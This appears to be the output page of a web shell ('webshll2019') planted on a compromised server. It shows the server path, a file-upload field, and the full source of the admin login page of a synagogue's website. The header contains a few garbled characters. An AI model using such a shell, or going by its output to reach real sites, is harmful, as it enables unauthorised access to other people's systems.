?

áEÓê¤ÎïLwebshll2019

Current Path : /home/webyoo/www/hanessiim/site/admin/
Upload File :
Current File : /home/webyoo/www/hanessiim/site/admin/login.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="ThemeBucket">
    <link rel="shortcut icon" href="images/favicon.png">

    <title>Login</title>

    <!--Core CSS -->
    <link href="bs3/css/bootstrap.min.css" rel="stylesheet">
    <link href="css/bootstrap-reset.css" rel="stylesheet">
    <link href="font-awesome/css/font-awesome.css" rel="stylesheet" />

    <!-- Custom styles for this template -->
    <link href="css/style.css" rel="stylesheet">
    <link href="css/style-responsive.css" rel="stylesheet" />

    <!-- Just for debugging purposes. Don't actually copy this line! -->
    <!--[if lt IE 9]>
    <script src="js/ie8-responsive-file-warning.js"></script><![endif]-->

    <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
    <![endif]-->
</head>

  <body class="login-body">

    <div class="container">

      <form class="form-signin" action="index.html">
        <h2 class="form-signin-heading">ADMINISTRATION OF<BR>BEIT HAKNESSET HANESSIIM</h2>
        <div class="login-wrap">
            <div class="user-login-info">
                <input name="email" id="email" type="text" class="form-control" placeholder="User ID" autofocus>
                <input name="mdp" id="mdp" type="password" class="form-control" placeholder="Password">
            </div>
            <label class="checkbox">
                <input type="checkbox" value="remember-me"> Remember me
                <span class="pull-right">
                    <a data-toggle="modal" href="#myModal"> Forgot Password?</a>

                </span>
            </label>
            <a href="javascript:;" id="connect" class="btn btn-lg btn-login btn-block">Sign in</a>
            <span id="refresh_connect" style="display:none;font-size:14px;color:green;"><i class="fas fa-sync fa-spin"></i>&nbsp;Connection in process...</span>
            <span id="ok_connect" style="display:none;font-size:14px;color:green;" class="fa fa-check-square-o">&nbsp;&nbsp;Success!</span>
                  
                    

            <div class="registration">
                Don't have an account yet?
                <a class="" href="registration.php">
                    Create an account
                </a>
            </div>

        </div>

          <!-- Modal -->
          <div aria-hidden="true" aria-labelledby="myModalLabel" role="dialog" tabindex="-1" id="myModal" class="modal fade">
              <div class="modal-dialog">
                  <div class="modal-content">
                      <div class="modal-header">
                          <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                          <h4 class="modal-title">Forgot Password ?</h4>
                      </div>
                      <div class="modal-body">
                          <p>Enter your e-mail address below to reset your password.</p>
                          <input type="text" name="email" placeholder="Email" autocomplete="off" class="form-control placeholder-no-fix">

                      </div>
                      <div class="modal-footer">
                          <button data-dismiss="modal" class="btn btn-default" type="button">Cancel</button>
                          <button class="btn btn-success" type="button">Submit</button>
                      </div>
                  </div>
              </div>
          </div>
          <!-- modal -->

      </form>

    </div>



    <!-- Placed js at the end of the document so the pages load faster -->

    <!--Core js-->
    <script src="js/jquery.js"></script>
    <script src="bs3/js/bootstrap.min.js"></script>

    <script>
        $(document).ready(function() {
          
          $(document).on('click', "#connect", function() {
            $("#refresh_connect").fadeIn();
            var pass = document.getElementById('mdp').value;
            var email = document.getElementById('email').value;
            
            $.post("connect.php", { email:email, mdp : pass}, function( data ) {
              if(data=='ok'){
                $("#refresh_connect").delay( 1000 ).fadeOut();
                $("#ok_connect").delay( 2000 ).fadeIn();
                $("#ok_connect").delay( 2500 ).fadeOut();
                window.location.href = "index.php";
              }else{
                setTimeout(function() {
                  alert( data );
                  $("#refresh_connect").delay( 1000 ).fadeOut();
                }, 2000);
              }
            
            });
          });
        
        });
      </script>

  </body>
</html>



web shell, Coded By 2019